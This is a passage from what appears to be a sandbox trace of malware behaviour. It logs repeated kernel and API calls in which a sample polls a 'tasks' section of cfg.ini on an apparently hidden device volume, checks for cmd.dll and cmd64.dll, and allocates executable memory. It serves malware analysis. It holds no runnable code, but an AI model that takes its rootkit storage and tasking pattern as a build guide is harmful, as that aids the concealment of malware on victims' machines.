ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] ExFreePoolWithTag (P=0xfffffa8003bf81a0, Tag=0x0) [0126.730] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.730] KeLeaveCriticalRegion () [0126.730] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.730] ReleaseMutex (hMutex=0xf0) returned 1 [0126.731] Sleep (dwMilliseconds=0x927c0) [0126.746] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.746] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.746] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.746] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.746] KeEnterCriticalRegion () [0126.746] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.746] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.746] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.746] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.746] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.746] IdePortDispatch () returned 0x103 [0126.747] KeWaitForMutexObject () returned 0x0 [0126.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.747] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.747] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.747] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.747] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.747] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed270 [0126.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.747] KeLeaveCriticalRegion () [0126.747] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.747] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.747] KeEnterCriticalRegion () [0126.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.747] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.747] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.747] KeLeaveCriticalRegion () [0126.747] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.747] KeEnterCriticalRegion () [0126.747] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.747] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.747] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.747] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.747] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.747] IdePortDispatch () returned 0x103 [0126.747] KeWaitForMutexObject () returned 0x0 [0126.747] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.748] KeLeaveCriticalRegion () [0126.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.748] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.748] KeEnterCriticalRegion () [0126.748] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.748] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880035c0000 [0126.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.748] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.748] IdePortDispatch () returned 0x103 [0126.748] KeWaitForMutexObject () returned 0x0 [0126.748] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.748] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.748] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.748] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.748] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.748] IdePortDispatch () returned 0x103 [0126.748] KeWaitForMutexObject () returned 0x0 [0126.748] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.748] KeLeaveCriticalRegion () [0126.748] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.749] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.749] KeEnterCriticalRegion () [0126.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] KeLeaveCriticalRegion () [0126.749] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.749] KeEnterCriticalRegion () [0126.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.749] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] KeLeaveCriticalRegion () [0126.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.749] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.749] KeEnterCriticalRegion () [0126.749] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] ExFreePoolWithTag (P=0xfffffa80037ed270, Tag=0x0) [0126.749] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.749] KeLeaveCriticalRegion () [0126.749] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.749] ReleaseMutex (hMutex=0xf0) returned 1 [0126.749] Sleep (dwMilliseconds=0x927c0) [0126.755] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.755] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.762] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.762] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.762] KeEnterCriticalRegion () [0126.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.762] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.762] IdePortDispatch () returned 0x103 [0126.763] KeWaitForMutexObject () returned 0x0 [0126.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037e0c80 [0126.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.763] KeLeaveCriticalRegion () [0126.763] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.763] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.763] KeEnterCriticalRegion () [0126.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.763] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.763] KeLeaveCriticalRegion () [0126.763] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.763] KeEnterCriticalRegion () [0126.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.763] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.763] IdePortDispatch () returned 0x103 [0126.763] KeWaitForMutexObject () returned 0x0 [0126.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.764] KeLeaveCriticalRegion () [0126.764] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.764] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.764] KeEnterCriticalRegion () [0126.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b16000 [0126.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.764] IdePortDispatch () returned 0x103 [0126.764] KeWaitForMutexObject () returned 0x0 [0126.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.764] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.764] IdePortDispatch () returned 0x103 [0126.764] KeWaitForMutexObject () returned 0x0 [0126.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.765] KeLeaveCriticalRegion () [0126.765] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.765] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.765] KeEnterCriticalRegion () [0126.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.765] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.765] KeLeaveCriticalRegion () [0126.765] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.765] KeEnterCriticalRegion () [0126.765] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.766] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed630, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.766] KeLeaveCriticalRegion () [0126.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.766] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.766] KeEnterCriticalRegion () [0126.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.766] ExFreePoolWithTag (P=0xfffffa80037e0c80, Tag=0x0) [0126.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.766] KeLeaveCriticalRegion () [0126.766] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.766] ReleaseMutex (hMutex=0xf0) returned 1 [0126.766] Sleep (dwMilliseconds=0x927c0) [0126.776] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.776] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.776] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.776] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.776] KeEnterCriticalRegion () [0126.776] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.776] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.776] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.776] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.776] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.776] IdePortDispatch () returned 0x103 [0126.776] KeWaitForMutexObject () returned 0x0 [0126.776] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.777] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.777] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.777] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.777] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.777] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037ed270 [0126.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.777] KeLeaveCriticalRegion () [0126.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.777] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.777] KeEnterCriticalRegion () [0126.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.777] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.777] KeLeaveCriticalRegion () [0126.777] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.777] KeEnterCriticalRegion () [0126.777] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.777] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.777] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.777] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.777] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0126.777] IdePortDispatch () returned 0x103 [0126.777] KeWaitForMutexObject () returned 0x0 [0126.777] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.777] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.777] KeLeaveCriticalRegion () [0126.777] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.778] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.778] KeEnterCriticalRegion () [0126.778] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.778] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b19000 [0126.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.778] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.778] IdePortDispatch () returned 0x103 [0126.778] KeWaitForMutexObject () returned 0x0 [0126.778] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.778] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.778] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0126.778] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.778] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0126.778] IdePortDispatch () returned 0x103 [0126.778] KeWaitForMutexObject () returned 0x0 [0126.778] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.778] KeLeaveCriticalRegion () [0126.778] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.779] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.779] KeEnterCriticalRegion () [0126.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.779] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0126.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.779] KeLeaveCriticalRegion () [0126.779] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.779] KeEnterCriticalRegion () [0126.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.779] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0126.779] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037ed330, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.779] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.779] KeLeaveCriticalRegion () [0126.779] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.779] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.779] KeEnterCriticalRegion () [0126.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.779] ExFreePoolWithTag (P=0xfffffa80037ed270, Tag=0x0) [0126.780] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.780] KeLeaveCriticalRegion () [0126.780] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0126.780] ReleaseMutex (hMutex=0xf0) returned 1 [0126.780] Sleep (dwMilliseconds=0x927c0) [0126.797] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0126.797] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.797] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0126.797] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.797] KeEnterCriticalRegion () [0126.797] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.797] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0126.797] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0126.797] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.797] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0126.797] IdePortDispatch () returned 0x103 [0126.798] KeWaitForMutexObject () returned 0x0 [0126.798] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.798] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.798] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.798] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.798] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, 